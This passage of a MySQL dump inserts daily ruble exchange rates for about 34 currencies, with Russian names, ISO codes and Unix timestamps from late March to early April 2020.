`сharCode` varchar(4) NOT NULL,
`name` tinytext NOT NULL,
`value` double NOT NULL,
`date` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Дамп данных таблицы `currency`
--
INSERT INTO `currency` (`id`, `valuteID`, `numCode`, `сharCode`, `name`, `value`, `date`) VALUES
(7203, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.4801, 1586379600),
(7204, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 44.6507, 1586379600),
(7205, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 93.233, 1586379600),
(7206, 'R01060', 51, 'AMD', 'Армянских драмов', 15.1697, 1586379600),
(7207, 'R01090B', 933, 'BYN', 'Белорусский рубль', 29.6989, 1586379600),
(7208, 'R01100', 975, 'BGN', 'Болгарский лев', 42.0436, 1586379600),
(7209, 'R01115', 986, 'BRL', 'Бразильский реал', 14.5031, 1586379600),
(7210, 'R01135', 348, 'HUF', 'Венгерских форинтов', 22.9201, 1586379600),
(7211, 'R01200', 344, 'HKD', 'Гонконгских долларов', 97.7153, 1586379600),
(7212, 'R01215', 208, 'DKK', 'Датская крона', 11.0167, 1586379600),
(7213, 'R01235', 840, 'USD', 'Доллар США', 75.7499, 1586379600),
(7214, 'R01239', 978, 'EUR', 'Евро', 82.2341, 1586379600),
(7215, 'R01270', 356, 'INR', 'Индийских рупий', 99.175, 1586379600),
(7216, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.3788, 1586379600),
(7217, 'R01350', 124, 'CAD', 'Канадский доллар', 53.9068, 1586379600),
(7218, 'R01370', 417, 'KGS', 'Киргизских сомов', 89.2242, 1586379600),
(7219, 'R01375', 156, 'CNY', 'Китайский юань', 10.7178, 1586379600),
(7220, 'R01500', 498, 'MDL', 'Молдавских леев', 41.1684, 1586379600),
(7221, 'R01535', 578, 'NOK', 'Норвежских крон', 73.3847, 1586379600),
(7222, 'R01565', 985, 'PLN', 'Польский злотый', 18.1194, 1586379600),
(7223, 'R01585F', 946, 'RON', 'Румынский лей', 17.011, 1586379600),
(7224, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 103.1638, 1586379600),
(7225, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.0276, 1586379600),
(7226, 'R01670', 972, 'TJS', 'Таджикских сомони', 74.0468, 1586379600),
(7227, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.1564, 1586379600),
(7228, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 21.6738, 1586379600),
(7229, 'R01717', 860, 'UZS', 'Узбекских сумов', 78.0846, 1586379600),
(7230, 'R01720', 980, 'UAH', 'Украинских гривен', 27.7828, 1586379600),
(7231, 'R01760', 203, 'CZK', 'Чешских крон', 30.1889, 1586379600),
(7232, 'R01770', 752, 'SEK', 'Шведских крон', 75.1994, 1586379600),
(7233, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.916, 1586379600),
(7234, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 41.1993, 1586379600),
(7235, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.0179, 1586379600),
(7236, 'R01820', 392, 'JPY', 'Японских иен', 69.6391, 1586379600),
(7237, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.6312, 1586293200),
(7238, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 44.4769, 1586293200),
(7239, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 93.0662, 1586293200),
(7240, 'R01060', 51, 'AMD', 'Армянских драмов', 15.0534, 1586293200),
(7241, 'R01090B', 933, 'BYN', 'Белорусский рубль', 29.5612, 1586293200),
(7242, 'R01100', 975, 'BGN', 'Болгарский лев', 41.9311, 1586293200),
(7243, 'R01115', 986, 'BRL', 'Бразильский реал', 14.274, 1586293200),
(7244, 'R01135', 348, 'HUF', 'Венгерских форинтов', 22.7589, 1586293200),
(7245, 'R01200', 344, 'HKD', 'Гонконгских долларов', 97.3224, 1586293200),
(7246, 'R01215', 208, 'DKK', 'Датская крона', 10.9849, 1586293200),
(7247, 'R01235', 840, 'USD', 'Доллар США', 75.455, 1586293200),
(7248, 'R01239', 978, 'EUR', 'Евро', 82.012, 1586293200),
(7249, 'R01270', 356, 'INR', 'Индийских рупий', 99.7673, 1586293200),
(7250, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.2656, 1586293200),
(7251, 'R01350', 124, 'CAD', 'Канадский доллар', 53.8004, 1586293200),
(7252, 'R01370', 417, 'KGS', 'Киргизских сомов', 88.877, 1586293200),
(7253, 'R01375', 156, 'CNY', 'Китайский юань', 10.696, 1586293200),
(7254, 'R01500', 498, 'MDL', 'Молдавских леев', 40.6218, 1586293200),
(7255, 'R01535', 578, 'NOK', 'Норвежских крон', 73.5924, 1586293200),
(7256, 'R01565', 985, 'PLN', 'Польский злотый', 18.0757, 1586293200),
(7257, 'R01585F', 946, 'RON', 'Румынский лей', 16.9787, 1586293200),
(7258, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 102.4845, 1586293200),
(7259, 'R01625', 702, 'SGD', 'Сингапурский доллар', 52.9212, 1586293200),
(7260, 'R01670', 972, 'TJS', 'Таджикских сомони', 73.903, 1586293200),
(7261, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.2234, 1586293200),
(7262, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 21.5894, 1586293200),
(7263, 'R01717', 860, 'UZS', 'Узбекских сумов', 78.0865, 1586293200),
(7264, 'R01720', 980, 'UAH', 'Украинских гривен', 27.8478, 1586293200),
(7265, 'R01760', 203, 'CZK', 'Чешских крон', 30.039, 1586293200),
(7266, 'R01770', 752, 'SEK', 'Шведских крон', 75.4437, 1586293200),
(7267, 'R01775', 756, 'CHF', 'Швейцарский франк', 77.5408, 1586293200),
(7268, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 41.194, 1586293200),
(7269, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.1042, 1586293200),
(7270, 'R01820', 392, 'JPY', 'Японских иен', 69.3106, 1586293200),
(7271, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1586034000),
(7272, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1586034000),
(7273, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1586034000),
(7274, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1586034000),
(7275, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1586034000),
(7276, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1586034000),
(7277, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1586034000),
(7278, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1586034000),
(7279, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1586034000),
(7280, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1586034000),
(7281, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1586034000),
(7282, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1586034000),
(7283, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1586034000),
(7284, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1586034000),
(7285, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1586034000),
(7286, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1586034000),
(7287, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1586034000),
(7288, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1586034000),
(7289, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1586034000),
(7290, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1586034000),
(7291, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1586034000),
(7292, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1586034000),
(7293, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1586034000),
(7294, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1586034000),
(7295, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1586034000),
(7296, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1586034000),
(7297, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1586034000),
(7298, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1586034000),
(7299, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1586034000),
(7300, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1586034000),
(7301, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1586034000),
(7302, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1586034000),
(7303, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1586034000),
(7304, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1586034000),
(7305, 'R01010', 36, 'AUD', 'Австралийский доллар', 46.2341, 1586206800),
(7306, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.0383, 1586206800),
(7307, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 93.9429, 1586206800),
(7308, 'R01060', 51, 'AMD', 'Армянских драмов', 15.2434, 1586206800),
(7309, 'R01090B', 933, 'BYN', 'Белорусский рубль', 29.7155, 1586206800),
(7310, 'R01100', 975, 'BGN', 'Болгарский лев', 42.2257, 1586206800),
(7311, 'R01115', 986, 'BRL', 'Бразильский реал', 14.2818, 1586206800),
(7312, 'R01135', 348, 'HUF', 'Венгерских форинтов', 22.7079, 1586206800),
(7313, 'R01200', 344, 'HKD', 'Гонконгских долларов', 98.5482, 1586206800),
(7314, 'R01215', 208, 'DKK', 'Датская крона', 11.0588, 1586206800),
(7315, 'R01235', 840, 'USD', 'Доллар США', 76.4074, 1586206800),
(7316, 'R01239', 978, 'EUR', 'Евро', 82.6346, 1586206800),
(7317, 'R01270', 356, 'INR', 'Индийских рупий', 10.0268, 1586206800),
(7318, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.3999, 1586206800),
(7319, 'R01350', 124, 'CAD', 'Канадский доллар', 54.1244, 1586206800),
(7320, 'R01370', 417, 'KGS', 'Киргизских сомов', 89.9985, 1586206800),
(7321, 'R01375', 156, 'CNY', 'Китайский юань', 10.7725, 1586206800),
(7322, 'R01500', 498, 'MDL', 'Молдавских леев', 40.9691, 1586206800),
(7323, 'R01535', 578, 'NOK', 'Норвежских крон', 72.5616, 1586206800),
(7324, 'R01565', 985, 'PLN', 'Польский злотый', 18.1099, 1586206800),
(7325, 'R01585F', 946, 'RON', 'Румынский лей', 17.0972, 1586206800),
(7326, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 103.7895, 1586206800),
(7327, 'R01625', 702, 'SGD', 'Сингапурский доллар', 53.2604, 1586206800),
(7328, 'R01670', 972, 'TJS', 'Таджикских сомони', 74.8358, 1586206800),
(7329, 'R01700J', 949, 'TRY', 'Турецкая лира', 11.2795, 1586206800),
(7330, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 21.8619, 1586206800),
(7331, 'R01717', 860, 'UZS', 'Узбекских сумов', 79.4999, 1586206800),
(7332, 'R01720', 980, 'UAH', 'Украинских гривен', 28.0394, 1586206800),
(7333, 'R01760', 203, 'CZK', 'Чешских крон', 29.8461, 1586206800),
(7334, 'R01770', 752, 'SEK', 'Шведских крон', 75.2515, 1586206800),
(7335, 'R01775', 756, 'CHF', 'Швейцарский франк', 78.1901, 1586206800),
(7336, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 40.0399, 1586206800),
(7337, 'R01815', 410, 'KRW', 'Вон Республики Корея', 62.1658, 1586206800),
(7338, 'R01820', 392, 'JPY', 'Японских иен', 70.0247, 1586206800),
(7339, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1586120400),
(7340, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1586120400),
(7341, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1586120400),
(7342, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1586120400),
(7343, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1586120400),
(7344, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1586120400),
(7345, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1586120400),
(7346, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1586120400),
(7347, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1586120400),
(7348, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1586120400),
(7349, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1586120400),
(7350, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1586120400),
(7351, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1586120400),
(7352, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1586120400),
(7353, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1586120400),
(7354, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1586120400),
(7355, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1586120400),
(7356, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1586120400),
(7357, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1586120400),
(7358, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1586120400),
(7359, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1586120400),
(7360, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1586120400),
(7361, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1586120400),
(7362, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1586120400),
(7363, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1586120400),
(7364, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1586120400),
(7365, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1586120400),
(7366, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1586120400),
(7367, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1586120400),
(7368, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1586120400),
(7369, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1586120400),
(7370, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1586120400),
(7371, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1586120400),
(7372, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1586120400),
(7373, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585947600),
(7374, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585947600),
(7375, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585947600),
(7376, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585947600),
(7377, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585947600),
(7378, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585947600),
(7379, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585947600),
(7380, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585947600),
(7381, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585947600),
(7382, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585947600),
(7383, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585947600),
(7384, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585947600),
(7385, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585947600),
(7386, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585947600),
(7387, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585947600),
(7388, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585947600),
(7389, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585947600),
(7390, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585947600),
(7391, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585947600),
(7392, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585947600),
(7393, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585947600),
(7394, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585947600),
(7395, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585947600),
(7396, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585947600),
(7397, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585947600),
(7398, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585947600),
(7399, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585947600),
(7400, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585947600),
(7401, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585947600),
(7402, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585947600),
(7403, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585947600),
(7404, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585947600),
(7405, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585947600),
(7406, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585947600),
(7407, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585861200),
(7408, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585861200),
(7409, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585861200),
(7410, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585861200),
(7411, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585861200),
(7412, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585861200),
(7413, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585861200),
(7414, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585861200),
(7415, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585861200),
(7416, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585861200),
(7417, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585861200),
(7418, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585861200),
(7419, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585861200),
(7420, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585861200),
(7421, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585861200),
(7422, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585861200),
(7423, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585861200),
(7424, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585861200),
(7425, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585861200),
(7426, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585861200),
(7427, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585861200),
(7428, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585861200),
(7429, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585861200),
(7430, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585861200),
(7431, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585861200),
(7432, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585861200),
(7433, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585861200),
(7434, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585861200),
(7435, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585861200),
(7436, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585861200),
(7437, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585861200),
(7438, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585861200),
(7439, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585861200),
(7440, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585861200),
(7441, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585774800),
(7442, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585774800),
(7443, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585774800),
(7444, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585774800),
(7445, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585774800),
(7446, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585774800),
(7447, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585774800),
(7448, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585774800),
(7449, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585774800),
(7450, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585774800),
(7451, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585774800),
(7452, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585774800),
(7453, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585774800),
(7454, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585774800),
(7455, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585774800),
(7456, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585774800),
(7457, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585774800),
(7458, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585774800),
(7459, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585774800),
(7460, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585774800),
(7461, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585774800),
(7462, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585774800),
(7463, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585774800),
(7464, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585774800),
(7465, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585774800),
(7466, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585774800),
(7467, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585774800),
(7468, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585774800),
(7469, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585774800),
(7470, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585774800),
(7471, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585774800),
(7472, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585774800),
(7473, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585774800),
(7474, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585774800),
(7475, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585688400),
(7476, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585688400),
(7477, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585688400),
(7478, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585688400),
(7479, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585688400),
(7480, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585688400),
(7481, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585688400),
(7482, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585688400),
(7483, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585688400),
(7484, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585688400),
(7485, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585688400),
(7486, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585688400),
(7487, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585688400),
(7488, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585688400),
(7489, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585688400),
(7490, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585688400),
(7491, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585688400),
(7492, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585688400),
(7493, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585688400),
(7494, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585688400),
(7495, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585688400),
(7496, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585688400),
(7497, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585688400),
(7498, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585688400),
(7499, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585688400),
(7500, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585688400),
(7501, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585688400),
(7502, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585688400),
(7503, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585688400),
(7504, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585688400),
(7505, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585688400),
(7506, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585688400),
(7507, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585688400),
(7508, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585688400),
(7509, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585602000),
(7510, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585602000),
(7511, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585602000),
(7512, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585602000),
(7513, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585602000),
(7514, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585602000),
(7515, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585602000),
(7516, 'R01135', 348, 'HUF', 'Венгерских форинтов', 24.212, 1585602000),
(7517, 'R01200', 344, 'HKD', 'Гонконгский доллар', 10.0279, 1585602000),
(7518, 'R01215', 208, 'DKK', 'Датская крона', 11.476, 1585602000),
(7519, 'R01235', 840, 'USD', 'Доллар США', 77.7325, 1585602000),
(7520, 'R01239', 978, 'EUR', 'Евро', 85.7389, 1585602000),
(7521, 'R01270', 356, 'INR', 'Индийских рупий', 10.3457, 1585602000),
(7522, 'R01335', 398, 'KZT', 'Казахстанских тенге', 17.4278, 1585602000),
(7523, 'R01350', 124, 'CAD', 'Канадский доллар', 55.2941, 1585602000),
(7524, 'R01370', 417, 'KGS', 'Киргизских сомов', 97.2264, 1585602000),
(7525, 'R01375', 156, 'CNY', 'Китайский юань', 10.9611, 1585602000),
(7526, 'R01500', 498, 'MDL', 'Молдавских леев', 43.0055, 1585602000),
(7527, 'R01535', 578, 'NOK', 'Норвежских крон', 73.7766, 1585602000),
(7528, 'R01565', 985, 'PLN', 'Польский злотый', 18.9301, 1585602000),
(7529, 'R01585F', 946, 'RON', 'Румынский лей', 17.7184, 1585602000),
(7530, 'R01589', 960, 'XDR', 'СДР (специальные права заимствования)', 105.7869, 1585602000),
(7531, 'R01625', 702, 'SGD', 'Сингапурский доллар', 54.2673, 1585602000),
(7532, 'R01670', 972, 'TJS', 'Таджикских сомони', 76.2457, 1585602000),
(7533, 'R01700J', 949, 'TRY', 'Турецкая лира', 12.0661, 1585602000),
(7534, 'R01710A', 934, 'TMT', 'Новый туркменский манат', 22.2411, 1585602000),
(7535, 'R01717', 860, 'UZS', 'Узбекских сумов', 81.543, 1585602000),
(7536, 'R01720', 980, 'UAH', 'Украинских гривен', 27.5213, 1585602000),
(7537, 'R01760', 203, 'CZK', 'Чешских крон', 31.5383, 1585602000),
(7538, 'R01770', 752, 'SEK', 'Шведских крон', 78, 1585602000),
(7539, 'R01775', 756, 'CHF', 'Швейцарский франк', 80.7191, 1585602000),
(7540, 'R01810', 710, 'ZAR', 'Южноафриканских рэндов', 44.4059, 1585602000),
(7541, 'R01815', 410, 'KRW', 'Вон Республики Корея', 63.7831, 1585602000),
(7542, 'R01820', 392, 'JPY', 'Японских иен', 71.4027, 1585602000),
(7543, 'R01010', 36, 'AUD', 'Австралийский доллар', 47.1448, 1585515600),
(7544, 'R01020A', 944, 'AZN', 'Азербайджанский манат', 45.933, 1585515600),
(7545, 'R01035', 826, 'GBP', 'Фунт стерлингов Соединенного королевства', 94.5771, 1585515600),
(7546, 'R01060', 51, 'AMD', 'Армянских драмов', 15.7194, 1585515600),
(7547, 'R01090B', 933, 'BYN', 'Белорусский рубль', 30.1979, 1585515600),
(7548, 'R01100', 975, 'BGN', 'Болгарский лев', 43.7979, 1585515600),
(7549, 'R01115', 986, 'BRL', 'Бразильский реал', 15.4738, 1585515600),
